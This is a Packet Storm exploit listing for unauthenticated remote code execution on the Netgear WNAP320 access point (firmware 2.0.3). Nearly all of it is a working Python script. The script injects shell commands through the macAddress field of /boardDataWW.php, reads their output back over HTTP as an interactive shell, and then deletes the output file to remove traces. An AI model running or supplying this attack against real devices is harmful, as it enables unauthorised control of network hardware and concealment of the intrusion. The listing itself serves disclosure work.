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Netgear WNAP320 2.0.3 Remote Code Execution

🗓️ 28 Jun 2021 00:00:00Reported by Bryan LeongType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 137 Views

Netgear WNAP320 2.0.3 'macAddress' Remote Code Execution (Unauthenticated

Code
`# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)  
# Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter  
# Notes: The RCE doesn't need to be authenticated  
# Date: 26/06/2021  
# Exploit Author: Bryan Leong <NobodyAtall>  
# IoT Device: Netgear WNAP320 Access Point  
# Version: WNAP320 Access Point Firmware v2.0.3  
  
import requests  
import sys  
  
if(len(sys.argv) != 2):  
print('Must specify the IP parameter')  
print("eg: python3 wnap320_v2_0_3.py <IP>")  
sys.exit(0)  
  
host = sys.argv[1]  
port = 80  
  
cmd = ''  
  
while(True):  
cmd = input('Shell_CMD$ ')  
#injecting system command part writing the command output to a output file  
data = {  
'macAddress' : '112233445566;' + cmd + ' > ./output #',  
'reginfo' : '0',  
'writeData' : 'Submit'  
}   
  
url = 'http://' + host + '/boardDataWW.php'  
response = requests.post(url, data=data)  
  
if(response.ok):  
#read the command output result  
url = 'http://' + host + '/output'  
cmdOutput = requests.get(url)  
print(cmdOutput.text)  
  
#remove trace  
cmd = 'rm ./output'  
data = {  
'macAddress' : '112233445566;' + cmd + ' #',  
'reginfo' : '0',  
'writeData' : 'Submit'  
}  
url = 'http://' + host + '/boardDataWW.php'  
response = requests.post(url, data=data)  
else:  
print('[!] No response from the server.')  
  
  
`

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